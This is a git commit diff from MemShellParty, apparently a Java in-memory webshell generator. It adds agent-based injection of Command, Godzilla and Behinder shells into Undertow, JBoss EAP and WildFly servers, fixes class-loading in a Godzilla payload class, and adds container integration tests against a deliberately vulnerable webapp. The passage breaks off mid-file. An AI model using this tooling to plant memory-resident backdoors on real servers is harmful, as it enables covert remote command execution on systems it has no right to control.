mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21 2. fix godzilla payload error in some module system that cost my five hour to debug
This commit is contained in:
@@ -7,10 +7,14 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
|
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
|
||||||
|
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||||
|
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
||||||
|
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
|
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -23,6 +27,7 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
|
|||||||
* @since 2024/12/10
|
* @since 2024/12/10
|
||||||
*/
|
*/
|
||||||
public class UndertowShell extends AbstractShell {
|
public class UndertowShell extends AbstractShell {
|
||||||
|
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
@@ -32,7 +37,8 @@ public class UndertowShell extends AbstractShell {
|
|||||||
FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
||||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
||||||
LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
|
LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
|
JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
|
||||||
|
AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -44,7 +50,8 @@ public class UndertowShell extends AbstractShell {
|
|||||||
FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
||||||
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
||||||
LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
|
LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
|
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
|
||||||
|
AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -56,7 +63,8 @@ public class UndertowShell extends AbstractShell {
|
|||||||
FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
|
FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
|
||||||
JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
|
JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
|
||||||
LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
|
LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
|
JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
|
||||||
|
AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -195,10 +195,14 @@ public class Payload extends ClassLoader {
|
|||||||
return f2.get(obj);
|
return f2.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
private static Class getClass(String name) {
|
private static Class getClass(ClassLoader classLoader, String name) {
|
||||||
try {
|
try {
|
||||||
return Class.forName(name);
|
return Class.forName(name);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
return Class.forName(name, false, classLoader);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -493,11 +497,11 @@ public class Payload extends ClassLoader {
|
|||||||
}
|
}
|
||||||
boolean ret = false;
|
boolean ret = false;
|
||||||
try {
|
try {
|
||||||
Class c2 = getClass(String.format(classNameString, "javax"));
|
Class c2 = getClass(obj.getClass().getClassLoader(), String.format(classNameString, "javax"));
|
||||||
if (c2 != null) {
|
if (c2 != null) {
|
||||||
ret = c2.isAssignableFrom(obj.getClass());
|
ret = c2.isAssignableFrom(obj.getClass());
|
||||||
}
|
}
|
||||||
if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) {
|
if (!ret && (c = getClass(obj.getClass().getClassLoader(), String.format(classNameString, "jakarta"))) != null) {
|
||||||
ret = c.isAssignableFrom(obj.getClass());
|
ret = c.isAssignableFrom(obj.getClass());
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
jbosseap7:
|
||||||
|
image: reajason/jboss:eap-7-jdk8
|
||||||
|
container_name: jbosseap7
|
||||||
|
ports:
|
||||||
|
- 8080:8080
|
||||||
|
- 5005:5005
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n -Xms1303m -Xmx1303m -XX:MetaspaceSize=96M -XX:MaxMetaspaceSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/standalone/deployments/app.war
|
||||||
+9
-4
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.jbosseap;
|
package com.reajason.javaweb.integration.jbosseap;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.JbossShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class JbossEap6ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -49,7 +51,10 @@ public class JbossEap6ContainerTest {
|
|||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,6 +67,6 @@ public class JbossEap6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-4
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.jbosseap;
|
package com.reajason.javaweb.integration.jbosseap;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.UndertowShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class JbossEap7ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,7 +60,10 @@ public class JbossEap7ContainerTest {
|
|||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,6 +76,6 @@ public class JbossEap7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-4
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.wildfly;
|
package com.reajason.javaweb.integration.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.UndertowShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class Wildfly18ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -49,7 +51,10 @@ public class Wildfly18ContainerTest {
|
|||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,6 +67,6 @@ public class Wildfly18ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-4
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.wildfly;
|
package com.reajason.javaweb.integration.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.UndertowShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class Wildfly23ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -49,7 +51,10 @@ public class Wildfly23ContainerTest {
|
|||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,6 +67,6 @@ public class Wildfly23ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-4
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.wildfly;
|
package com.reajason.javaweb.integration.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.UndertowShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class Wildfly30ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -49,7 +51,10 @@ public class Wildfly30ContainerTest {
|
|||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,6 +67,6 @@ public class Wildfly30ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-5
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.wildfly;
|
package com.reajason.javaweb.integration.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.UndertowShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
